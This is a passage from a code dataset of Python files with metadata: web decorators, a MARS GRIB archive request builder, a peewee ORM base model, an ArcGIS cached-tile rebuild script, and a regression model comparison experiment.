"call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}]} +{"seq_id": "133641219", "text": "from __future__ import absolute_import\nimport logging\n\nfrom decorators import FuncDecorator\n\nfrom ..exception import CallError\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass TargetDecorator(FuncDecorator):\n def normalize_target_params(self, request, controller_args, controller_kwargs):\n return [], dict(\n request=request,\n controller_args=controller_args, \n controller_kwargs=controller_kwargs\n )\n\n def handle_error(self, e):\n raise e\n\n def handle_target(self, request, controller_args, controller_kwargs):\n try:\n param_args, param_kwargs = self.normalize_target_params(\n request=request,\n controller_args=controller_args,\n controller_kwargs=controller_kwargs\n )\n ret = self.target(*param_args, **param_kwargs)\n if not ret:\n raise ValueError(\"{} check failed\".format(self.__class__.__name__))\n\n except CallError:\n raise\n\n except (AttributeError, TypeError) as e:\n logger.debug(e, exc_info=True)\n raise NotImplementedError(e.message)\n\n except Exception as e:\n logger.debug(e, exc_info=True)\n self.handle_error(e)\n\n def decorate(self, func, target, *anoop, **kwnoop):\n if target:\n self.target = target\n\n def decorated(decorated_self, *args, **kwargs):\n self.handle_target(\n request=decorated_self.request,\n controller_args=args,\n controller_kwargs=kwargs\n )\n return func(decorated_self, *args, **kwargs)\n\n return decorated\n\n", "sub_path": "endpoints/decorators/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 1686, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "decorators.FuncDecorator", "line_number": 12, "usage_type": "name"}, {"api_name": "exception.CallError", "line_number": 34, "usage_type": "name"}]} +{"seq_id": "374863572", "text": "import os\nimport eccodes as ecc\nimport argparse\nimport sys\n\nclass Request(object):\n\n def __init__(self,Action=None,Source=None,Date=None,Hour=None,Origin=None,Type=None,Step=None,Levelist=None,Param=None,Levtype=None,\n Database=\"marsscratch\",Expver=\"prod\",Class=\"RR\",Stream=\"oper\"):\n \"\"\" Construct a request for mars\"\"\"\n self.action = Action\n self.source = Source\n self.database = Database\n self.date = Date\n self.hour = Hour\n self.origin = Origin\n self.type = Type\n self.step = Step if type(Step) == list else [Step]\n self.param = Param if type(Param) == list else [Param]\n self.levelist = Levelist if type(Levelist) == list else [Levelist]\n self.levtype = Levtype\n self.expver = Expver\n self.marsClass = Class\n self.stream = Stream\n self.expect = len(self.step)*len(self.param)*len(self.levelist)\n\n def write_request(self,f):\n separator = '/'\n if self.database:\n f.write('%s,source=%s,database=%s,\\n' % (self.action,self.source,self.database))\n else:\n f.write('%s,source=%s,\\n' % (self.action,self.source))\n f.write(_line('DATE',self.date))\n f.write(_line('TIME',self.hour))\n f.write(_line('ORIGIN',self.origin.upper()))\n f.write(_line('STEP',separator.join(str(x) for x in self.step)))\n if self.levtype.lower() != \"sfc\".lower():\n f.write(_line('LEVELIST',separator.join(str(x) for x in self.levelist)))\n f.write(_line('PARAM',separator.join(str(x) for x in self.param)))\n f.write(_line('EXPVER',self.expver.lower()))\n f.write(_line('CLASS ',self.marsClass.upper()))\n f.write(_line('LEVTYPE',self.levtype.upper()))\n f.write(_line('TYPE',self.type.upper()))\n f.write(_line('STREAM',self.stream.upper()))\n f.write(_line('EXPECT',self.expect,eol=\"\"))\n\n\nclass RequestFromGrib(Request):\n\n def __init__(self,gribfile,Action,Database='marsscratch'):\n super().__init__(Database=Database)\n self.source = gribfile\n self.action = Action\n self.parse_grib_file()\n\n def parse_grib_file(self):\n gribfile = self.source\n self.type,self.date,self.hour,self.levtype,grib2 = os.path.basename(gribfile).split('.')\n\n params = []\n levels = []\n steps = []\n with ecc.GribFile(gribfile) as gf:\n nfields = len(gf)\n for i in range(len(gf)):\n msg = ecc.GribMessage(gf)\n params.append(msg['param'])\n levels.append(msg['level'])\n steps.append(msg['step'])\n if i == 1:\n self.date = str(msg[\"dataDate\"])\n self.hour = \"%04d\" % int(msg[\"dataTime\"])\n\n if str(msg['suiteName']) == '1':\n self.origin = \"no-ar-ce\"\n elif str(msg['suiteName']) == '2':\n self.origin = \"no-ar-cw\"\n elif str(msg['suiteName']) == '3':\n self.origin = \"no-ar-pa\"\n else:\n print(\"unknown origin/suiteName\")\n exit(1)\n\n param = list(set(params))\n param.sort()\n self.param = param\n levelist = list(set(levels))\n levelist.sort()\n levelist.reverse()\n self.levelist = levelist\n step = list(set(steps))\n step.sort()\n self.step = step\n self.expect = nfields\n\n\ndef _line(key,val,eol=','):\n return \" %s= %s%s\\n\" % (key.ljust(11),val,eol)\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(description='dump mars request from input gribfile')\n parser.add_argument('filename',type=str,help='grib file name')\n parser.add_argument('--database',type=str,default='marsscratch',help='mars database')\n\n args = parser.parse_args()\n\n gribfile = args.filename\n \n if args.database == \"mars\":\n database = None\n else:\n database = args.database\n\n with sys.stdout as rf:\n req = RequestFromGrib(gribfile,\"archive\",database)\n req.write_request(rf)\n\nexit()\n", "sub_path": "util/carra_grib2/archive/make_archive_request.py", "file_name": "make_archive_request.py", "file_ext": "py", "file_size_in_byte": 4186, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.basename", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "eccodes.GribFile", "line_number": 63, "usage_type": "call"}, {"api_name": "eccodes.GribMessage", "line_number": 66, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 116, "usage_type": "attribute"}]} +{"seq_id": "71247957", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/dataclay/serialization/python/lang/DCIDWrapper.py\n# Compiled at: 2019-10-28 11:50:26\n# Size of source mod 2**32: 1044 bytes\n\"\"\" Class description goes here. \"\"\"\nimport uuid\nimport dataclay.serialization.python.DataClayPythonWrapper as DataClayPythonWrapper\nimport dataclay.serialization.python.lang.BooleanWrapper as BooleanWrapper\n__author__ = 'Alex Barcelo '\n__copyright__ = '2015 Barcelona Supercomputing Center (BSC-CNS)'\n\nclass DCIDWrapper(DataClayPythonWrapper):\n __doc__ = 'dataClay UUID (straightforward serialization).'\n __slots__ = ('_nullable', )\n\n def __init__(self, nullable=False):\n self._nullable = nullable\n\n def read(self, io_file):\n if self._nullable:\n present = BooleanWrapper().read(io_file)\n if not present:\n return\n return uuid.UUID(bytes=(str(io_file.read(16))))\n\n def write(self, io_file, value):\n if self._nullable:\n if value is None:\n BooleanWrapper().write(io_file, False)\n return\n BooleanWrapper().write(io_file, True)\n io_file.write(value.get_bytes())", "sub_path": "pycfiles/dataClay-2.1-py3.7/DCIDWrapper.cpython-37.py", "file_name": "DCIDWrapper.cpython-37.py", "file_ext": "py", "file_size_in_byte": 1327, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "dataclay.serialization.python.DataClayPythonWrapper", "line_number": 15, "usage_type": "name"}, {"api_name": "dataclay.serialization.python.lang.BooleanWrapper", "line_number": 24, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 27, "usage_type": "call"}, {"api_name": "dataclay.serialization.python.lang.BooleanWrapper", "line_number": 32, "usage_type": "call"}, {"api_name": "dataclay.serialization.python.lang.BooleanWrapper", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "167398375", "text": "import logging\nimport json\nimport datetime\n\nfrom src.database import database\nfrom peewee import *\n\n\nclass Serializer(object):\n\n def convert_value(self, value):\n is1 = isinstance(value, datetime.datetime)\n is2 = isinstance(value, datetime.date)\n is3 = isinstance(value, datetime.time)\n\n if is1 or is2 or is3:\n return Serializer.datetime(value)\n elif isinstance(value, Model):\n return value.get_id()\n else:\n return value\n\n def clean_data(self, data):\n for key, value in data.items():\n if isinstance(value, dict):\n self.clean_data(value)\n elif isinstance(value, (list, tuple)):\n data[key] = map(self.clean_data, value)\n else:\n data[key] = self.convert_value(value)\n return data\n\n def serialize_object(self, obj, fields=None, exclude=None):\n data = BaseModel.get_dictionary_from_model(obj, fields, exclude)\n return self.clean_data(data)\n\n @staticmethod\n def datetime(obj):\n \"\"\"Default JSON serializer.\"\"\"\n import calendar\n from datetime import date, datetime\n\n if isinstance(obj, datetime):\n if obj.utcoffset() is not None:\n obj = obj - obj.utcoffset()\n\n elif isinstance(obj, date):\n obj = datetime.combine(obj, datetime.min.time())\n\n return int(calendar.timegm(obj.timetuple()))\n\n\nclass Deserializer(object):\n def deserialize_object(self, model, data):\n return BaseModel.get_model_from_dictionary(model, data)\n\n\nclass BaseModel(Model, Serializer, Deserializer):\n created_at = DateTimeField(default=datetime.datetime.now)\n modified_at = DateTimeField(default=datetime.datetime.now)\n deleted = BooleanField(default=False)\n\n class Meta:\n database = database\n\n @classmethod\n def fetch(cls, *selection):\n return cls.select(*selection).where(cls.deleted == False)\n\n def save(self, *args, **kwargs):\n self.modified_at = datetime.datetime.now()\n return super(BaseModel, self).save(*args, **kwargs)\n\n @classmethod\n def delete(cls, permanently=False):\n if permanently:\n return super(BaseModel, cls).delete()\n else:\n return super(BaseModel, cls).update(deleted=True, modified_at=datetime.datetime.now())\n\n @classmethod\n def update(cls, **update):\n update[\"modified_at\"] = datetime.datetime.now()\n return super(BaseModel, cls).update(**update)\n\n def delete_instance(self, permanently=False, recursive=False, delete_nullable=False):\n\n if permanently:\n return self.delete(permanently).where(self.pk_expr()).execute()\n else:\n self.deleted = True\n return self.save()\n\n def to_json(self):\n return json.dumps(self, default=self.serialize_object)\n\n def __str__(self):\n return self.get_dictionary()\n\n def get_dictionary(self, fields=None, exclude=None):\n return BaseModel.get_dictionary_from_model(self, fields, exclude)\n\n @staticmethod\n def get_dictionary_from_model(model, fields=None, exclude=None):\n model_class = type(model)\n data = {}\n\n fields = fields or {}\n exclude = exclude or {}\n curr_exclude = exclude.get(model_class, [])\n curr_fields = fields.get(model_class, model._meta.get_field_names())\n\n for field_name in curr_fields:\n if field_name in curr_exclude:\n continue\n\n field_obj = model_class._meta.fields[field_name]\n field_data = model._data.get(field_name)\n if isinstance(field_obj, ForeignKeyField) and field_data and field_obj.rel_model in fields:\n rel_obj = getattr(model, field_name)\n data[field_name] = BaseModel.get_dictionary_from_model(rel_obj, fields, exclude)\n else:\n data[field_name] = field_data\n\n return data\n\n @staticmethod\n def get_model_from_dictionary(model, field_dict):\n if isinstance(model, Model):\n model_instance = model\n check_fks = True\n else:\n model_instance = model()\n check_fks = False\n models = [model_instance]\n for field_name, value in field_dict.items():\n field_obj = model._meta.fields[field_name]\n if isinstance(value, dict):\n rel_obj = field_obj.rel_model\n if check_fks:\n try:\n rel_obj = getattr(model, field_name)\n except field_obj.rel_model.DoesNotExist:\n pass\n if rel_obj is None:\n rel_obj = field_obj.rel_model\n rel_inst, rel_models = BaseModel.get_model_from_dictionary(rel_obj, value)\n models.extend(rel_models)\n setattr(model_instance, field_name, rel_inst)\n else:\n setattr(model_instance, field_name, field_obj.python_value(value))\n return model_instance, models\n\n @staticmethod\n def get_object_id(obj):\n if isinstance(obj, BaseModel):\n return obj.id\n elif isinstance(obj, int):\n return obj\n else:\n try:\n return int(obj)\n except (TypeError, ValueError):\n return None\n\n\nclass JsonField(TextField):\n def db_value(self, value):\n return json.dumps(value, default=Serializer.datetime)\n\n def python_value(self, value):\n try:\n return json.loads(value)\n except ValueError as e:\n logging.error(\"Failed to encode JSON: %s\" % e.message)\n return dict()\n\n\nclass EnumField(TextField):\n\n def values(self, values):\n self.values = values\n return self\n\n def db_value(self, value):\n if value in self.values:\n return value\n else:\n return self.default\n", "sub_path": "backend/src/models/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 5971, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "datetime.datetime", "line_number": 12, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 13, "usage_type": "attribute"}, {"api_name": "datetime.time", "line_number": 14, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 43, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 47, "usage_type": "name"}, {"api_name": "datetime.datetime.combine", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "name"}, {"api_name": "datetime.datetime.min.time", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime.min", "line_number": 48, "usage_type": "attribute"}, {"api_name": "calendar.timegm", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 59, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "attribute"}, {"api_name": "src.database.database", "line_number": 64, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 79, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 83, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 83, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 95, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 169, "usage_type": "call"}, {"api_name": "{'calendar': 'calendar', 'date': 'datetime.date', 'datetime': 'datetime.datetime'}.datetime", "line_number": 169, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 173, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 175, "usage_type": "call"}]} +{"seq_id": "134189134", "text": "#---------------------------------------------------------------------------------------------------------------\n# Name: Rebuild Cached Map Service Tiles in Updated Areas\n#\n# Purpose: Rebuilds tiles for a cached map service in areas that have been updated in a reference layer within a time period specified relative to the day the script runs.\n#\n# Author: Patrick McKinney\n#\n# Created: 9/2/2020\n#\n# Copyright: (c) Cumberland County 2020\n#\n# Disclaimer: CUMBERLAND COUNTY ASSUMES NO LIABILITY ARISING FROM USE OF THESE MAPS OR DATA. THE MAPS AND DATA ARE PROVIDED WITHOUT\n# WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n# FITNESS FOR A PARTICULAR PURPOSE.\n# Furthermore, Cumberland County assumes no liability for any errors, omissions, or inaccuracies in the information provided regardless\n# of the cause of such, or for any decision made, action taken, or action not taken by the user in reliance upon any maps or data provided\n# herein. The user assumes the risk that the information may not be accurate.\n#-------------------------------------------------------------------------------------------------------------------\n\n# Import system modules\nimport arcpy, sys, time, datetime\n\ntry:\n # get timestamp for starting processing\n start_time = time.perf_counter()\n\n # Name of service\n service_name = 'Name of Service'\n\n # date for the day the script is run on\n date_today = datetime.date.today()\n # Date formatted as month-day-year (1-1-2017)\n formatted_date_today = date_today.strftime('%m-%d-%Y')\n # date for how many days back you want to check for changes in a dataset\n # change 8 to how many days back you want to check for changes\n date_ago = date_today - datetime.timedelta(days=8)\n\n # variable to store messages for log file. Messages written in finally statement at end of script\n log_message = ''\n # Create text file for logging results of script\n log_file = r'C:\\GIS\\Logs\\Rebuild Map Tiles Report {}.txt'.format(formatted_date_today)\n\n # layer you want to check for changes in\n # there needs to be a Date field that captures when edits occur\n # ideally this would be an Editor Tracking field\n # see https://pro.arcgis.com/en/pro-app/tool-reference/data-management/enable-editor-tracking.htm\n reference_layer = r'C:\\GIS\\Data\\reference_layer.shp'\n # make feature layer so you can use the select by attributes function\n ref_lyr_file = arcpy.MakeFeatureLayer_management(reference_layer, 'My_Layer')\n\n # SQL query clause\n # the format for queries using date fields changes based upon your data's format\n # read the docs > https://pro.arcgis.com/en/pro-app/help/mapping/navigation/sql-reference-for-elements-used-in-query-expressions.htm\n # replace \"last_edited_date\" with whatever field represents the date last modiefied\n where_clause = \"\"\"last_edited_date >= date '{}' AND last_edited_date <= date '{}'\"\"\".format(date_ago, date_today)\n\n # select features from reference layer that have been modified within your specified date range (i.e., within last week)\n arcpy.SelectLayerByAttribute_management(ref_lyr_file, 'NEW_SELECTION', where_clause)\n\n # get count of features\n count_selected_reference = arcpy.GetCount_management(tax_parcels_lyr)[0]\n # verify records have been selected; if not, add message and exit script\n if count_selected_reference == 0:\n # add message\n log_message += 'No \"Reference Layer\" records have been modified between {} and {}\\n'.format(date_ago, date_today)\n # exit\n sys.exit()\n\n # grid layer that covers your area of interest (city, county, state, etc)\n cache_grid_tiles = r'C:\\GIS\\Data\\grids_layer.shp'\n # make feature layer so you can select by location\n cache_grid_tiles_lyr = arcpy.MakeFeatureLayer_management(cache_grid_tiles, 'Grid_Tiles')\n\n # select tile grids that intersect selected records from reference layer\n arcpy.SelectLayerByLocation_management(cache_grid_tiles_lyr, 'INTERSECT', ref_lyr_file)\n\n # get count of features\n count_selected_grids = arcpy.GetCount_management(cache_grid_tiles_lyr)[0]\n # verify records have been selected; if not, add message and exit script\n if count_selected_grids == 0:\n # add message\n log_message += 'No \"Grid\" features intersect \"Reference Layer\" records that have been modified between {} and {}\\n'.format(date_ago, date_today)\n # exit\n sys.exit()\n\n # use selected records from grid tiles as area of interest for rebuilding cached map service tiles\n area_of_interest_lyr = r'memory\\selected_grids'\n # copy selected features from grid layer to in memory\n arcpy.CopyFeatures_management(cache_grid_tiles_lyr, area_of_interest_lyr)\n\n # add message\n log_message += 'Added selected \"Grid\" features to {}\\n'.format(area_of_interest_lyr)\n log_message += '\\nSelected grids:\\n\\n'\n\n # loop through Grid layer and list what records have been selected\n # you can then use these as areas to check to verify your tiles have rebuilt the data\n # replace 'LabelField' with a field in your Grid layer\n with arcpy.da.SearchCursor(area_of_interest_lyr, 'LabelField') as cursor:\n for row in cursor:\n log_message += '\\t{}\\n'.format(row[0])\n\n # create feature set object\n # see https://pro.arcgis.com/en/pro-app/arcpy/classes/featureset.htm\n feature_set = arcpy.FeatureSet()\n # load selected records from Grid layer into feature set\n feature_set.load(area_of_interest_lyr)\n\n # sign-in to Portal or ArcGIS Online\n arcpy.SignInToPortal('Portal or ArcGIS Online URL', 'user name', 'password')\n\n # geoprocessing - rebuild map service cache tiles\n # see https://pro.arcgis.com/en/pro-app/tool-reference/server/manage-map-server-cache-tiles.htm\n # manually rebuilding the tiles for the service and copying the geoprocessing tool as a Python snippet\n # can be used to get set this function\n arcpy.server.ManageMapServerCacheTiles('service url', ['scales to rebuild'], 'RECREATE_ALL_TILES', -1, feature_set, wait_for_job_completion='WAIT')\n\n # get time stamp for end of processing\n finish_time = time.perf_counter()\n # time of processing in seconds\n elapsed_time = finish_time - start_time\n # time in minutes\n elapsed_time_minutes = round((elapsed_time / 60), 2)\n # time in hours\n elapsed_time_hours = round((elapsed_time_minutes / 60), 2)\n\n log_message += '\\n\\nRebuilt cached tiles for {} in {}-hours on {}\\n'.format(service_name, elapsed_time_hours, formatted_date_today)\n# If an error occurs running geoprocessing tool(s) capture error and write message\n# handle error outside of Python system\nexcept EnvironmentError as e:\n tbE = sys.exc_info()[2]\n # Write the line number the error occured to the log file\n log_message += '\\nFailed at Line {}\\n'.format(tbE.tb_lineno)\n # Write the error message to the log file\n log_message += 'Error: {}'.format(str(e))\n# handle exception error\nexcept Exception as e:\n # Store information about the error\n tbE = sys.exc_info()[2]\n # Write the line number the error occured to the log file\n log_message += '\\nFailed at Line {}\\n'.format(tbE.tb_lineno)\n # Write the error message to the log file\n log_message += 'Error: {}'.format(e)\nfinally:\n # write message to log file\n try:\n with open(log_file, 'w') as f:\n f.write(str(log_message))\n except:\n pass", "sub_path": "rebuild_map_service_tiles_in_updated_areas.py", "file_name": "rebuild_map_service_tiles_in_updated_areas.py", "file_ext": "py", "file_size_in_byte": 7511, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "time.perf_counter", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 31, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 36, "usage_type": "call"}, {"api_name": "arcpy.MakeFeatureLayer_management", "line_number": 49, "usage_type": "call"}, {"api_name": "arcpy.SelectLayerByAttribute_management", "line_number": 58, "usage_type": "call"}, {"api_name": "arcpy.GetCount_management", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 67, "usage_type": "call"}, {"api_name": "arcpy.MakeFeatureLayer_management", "line_number": 72, "usage_type": "call"}, {"api_name": "arcpy.SelectLayerByLocation_management", "line_number": 75, "usage_type": "call"}, {"api_name": "arcpy.GetCount_management", "line_number": 78, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 84, "usage_type": "call"}, {"api_name": "arcpy.CopyFeatures_management", "line_number": 89, "usage_type": "call"}, {"api_name": "arcpy.da.SearchCursor", "line_number": 98, "usage_type": "call"}, {"api_name": "arcpy.da", "line_number": 98, "usage_type": "attribute"}, {"api_name": "arcpy.FeatureSet", "line_number": 104, "usage_type": "call"}, {"api_name": "arcpy.SignInToPortal", "line_number": 109, "usage_type": "call"}, {"api_name": "arcpy.server.ManageMapServerCacheTiles", "line_number": 115, "usage_type": "call"}, {"api_name": "arcpy.server", "line_number": 115, "usage_type": "attribute"}, {"api_name": "time.perf_counter", "line_number": 118, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 130, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 138, "usage_type": "call"}]} +{"seq_id": "365768088", "text": "from sklearn.datasets import load_boston\nimport pandas as pd\nfrom GPy.models import GPRegression\nfrom GPy.kern import RBF\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.svm import SVR\nimport lightgbm as lgb\nimport numpy as np\nimport random\nfrom coding.ABO.AGPR import A_GPR\nimport matplotlib.pyplot as plt\n\nimport warnings\nwarnings.filterwarnings('ignore')\na_gpr = A_GPR()\n\ndata = pd.read_excel('../../dataset/cccp_data.xlsx')\n# ['AT', 'V', 'AP', 'RH', 'PE']\nx_data = data[['AT', 'V', 'AP', 'RH']].values\ny_data = data[['PE']].values\n\n# for index in range(np.shape(x_data)[0]):\n# scaler = StandardScaler()\n# x_data[index] = scaler.fit_transform(np.array(x_data[index])[0].reshape(-1, 1))\n#\nx_train, x_test, y_train, y_test = train_test_split(x_data, y_data, test_size=0.2)\n\nm, n = np.shape(x_train)\nprint('训练数据总量', m)\n\n_, x_train_l, _, y_train_l = train_test_split(x_train, y_train, test_size=60/m)\n\n# x_train_l, y_train_l = a_gpr.sample_point(x_train, y_train, iter=100)\n\nprint('低似真度数据样本量：', np.shape(x_train_l)[0])\n\n# 为 low fidelity 数据添加噪声\nmu = 0\nsigma = 30\nfor i in range(np.shape(x_train_l)[0]):\n y_train_l[i] = y_train_l[i] + random.gauss(0, sigma)\n # y_train_l[i] = y_train_l[i] * 1.1 - 10\n\nx_train_l = np.array(x_train_l, ndmin=2)\ny_train_l = np.reshape(y_train_l, (-1, 1))\n\nlist_mean_mse_gpr = []\nlist_mean_mse_lgb = []\nlist_mean_mse_svr = []\n\nlist_average = []\nplt.figure(figsize=(10, 5))\nax_1 = plt.subplot(121)\nax_2 = plt.subplot(122)\nleft = 100\nright = 201\ndist = 50\ninit_size = 2\nfor it in list(range(left, right, dist)):\n print('训练数据样本数目：', it)\n print('候选数据集大小：', np.shape(x_train))\n if it > np.shape(x_train)[0]:\n print('抽样样本点大于数据集本身')\n break\n list_mse_gpr = []\n list_mse_lgb = []\n list_mse_svr = []\n list_w = []\n\n for i in range(5):\n temp_iter = it - init_size\n # 初始化GP的训练数据\n single = 20\n hf_gp, list_w_hf, x_gp, y_gp = a_gpr.creat_gp_model(max_loop=temp_iter, x_init_l=x_train_l, y_init_l=y_train_l,init_num=init_size,\n n_start=1, n_single=single, x_conda=np.array(x_train, ndmin=2), y_conda=np.array(y_train).reshape(-1, 1)\n )\n list_w.append(list_w_hf)\n y_pre_gpr = [a_gpr.predict_mu_var(np.reshape(x_test[k], (1, -1)), hf_gp, re_var=False) for k in range(np.shape(x_test)[0])]\n\n x_train_m, y_train_m = a_gpr.sample_point(x_train, y_train, iter=it, is_init=True)\n # lgm 模型\n # _, x_train_m, _, y_train_m = train_test_split(x_train, y_train, test_size=(it / m))\n model_lgb = lgb.LGBMRegressor()\n model_lgb.fit(x_train_m, np.reshape(y_train_m, (1, -1))[0])\n y_pre_lgb = [model_lgb.predict(np.reshape(x_test[i], (1, -1))) for i in range(np.shape(x_test)[0])]\n\n # svm 模型\n x_train_r, y_train_r = a_gpr.sample_point(x_train, y_train, iter=it, is_init=True)\n # _, x_train_r, _, y_train_r = train_test_split(x_train, y_train, test_size=(it / m))\n\n model_svr = SVR()\n model_svr.fit(x_train_r, np.reshape(y_train_r, (1, -1))[0])\n y_pre_svr = [model_svr.predict(np.reshape(x_test[i], (1, -1))) for i in range(np.shape(x_test)[0])]\n\n list_mse_gpr.append(mean_squared_error(y_test, y_pre_gpr))\n list_mse_lgb.append(mean_squared_error(y_test, y_pre_lgb))\n list_mse_svr.append(mean_squared_error(y_test, y_pre_svr))\n\n list_mean_mse_gpr.append(np.mean(list_mse_gpr))\n list_mean_mse_lgb.append(np.mean(list_mse_lgb))\n list_mean_mse_svr.append(np.mean(list_mse_svr))\n\n list_average = np.mean(list_w, axis=0)\n plt.sca(ax_1)\n plt.plot(list_average, lw=1.5, label='%s-st' % str(it))\n\n\nplt.axis('tight')\nplt.legend(loc=0)\nplt.ylabel('w_hf')\nplt.xlabel('iter')\nplt.title('boston_price')\n\nplt.sca(ax_2)\nplt.plot(list(range(left, right, dist)), list_mean_mse_lgb, lw=1.5, label='lgb_m')\nplt.plot(list(range(left, right, dist)), list_mean_mse_gpr, lw=1.5, label='gpr_m')\nplt.plot(list(range(left, right, dist)), list_mean_mse_svr, lw=1.5, label='svr_m')\nplt.axis('tight')\nplt.legend(loc=0) # 图例位置自动\nplt.ylabel('MSE')\nplt.xlabel('iter')\nplt.title('boston_price')\n\n\nprint('gpm', list_mean_mse_gpr)\nprint('lgb', list_mean_mse_lgb)\nprint('svr', list_mean_mse_svr)\n\nplt.show()\n\n'''\n\n\ndef pre_gp_mu_var(x_new, model, return_var=False):\n if return_var:\n mu, var = model.predict(x_new)\n return mu[0, 0], var[0, 0]\n else:\n mu, _ = model.predict(x_new)\n return mu[0, 0]\n\nx_train_r, y_train_r = a_gpr.sample_point(x_train, y_train, iter=200, is_init=True)\n\nk_rbf = RBF(input_dim=n, variance=0.5, lengthscale=1)\ngp_model = GPRegression(x_train_r, np.reshape(y_train_r, (-1, 1)), kernel=k_rbf)\ngp_model.optimize(messages=False)\n\nx_train_m, y_train_m = a_gpr.sample_point(x_train, y_train, iter=200, is_init=True)\n\nmodel_lgb = lgb.LGBMRegressor()\nmodel_lgb.fit(x_train_r, np.reshape(y_train_r, (1, -1))[0])\n\nx_train_p, y_train_p = a_gpr.sample_point(x_train_m, y_train_m, iter=200, is_init=True)\n\nmodel_svr = SVR()\nmodel_svr.fit(x_train_p, np.reshape(y_train_p, (1, -1))[0])\n\n\ny_pre_con = [pre_gp_mu_var(np.reshape(x_test[i], (1, -1)), gp_model) for i in range(np.shape(x_test)[0])]\ny_pre_lgb = [model_lgb.predict(np.reshape(x_test[i], (1, -1))) for i in range(np.shape(x_test)[0])]\ny_pre_svr = [model_svr.predict(np.reshape(x_test[i], (1, -1))) for i in range(np.shape(x_test)[0])]\nprint(y_pre_con)\nprint('mse_con:', mean_squared_error(y_test, y_pre_con))\nprint('mse_lgb:', mean_squared_error(y_test, y_pre_lgb))\nprint('mse_svr:', mean_squared_error(y_test, y_pre_svr))\n\n\n\n'''\n", "sub_path": "coding/ABO/cccp.py", "file_name": "cccp.py", "file_ext": "py", "file_size_in_byte": 5868, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "warnings.filterwarnings", "line_number": 16, "usage_type": "call"}, {"api_name": "coding.ABO.AGPR.A_GPR", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 42, "usage_type": 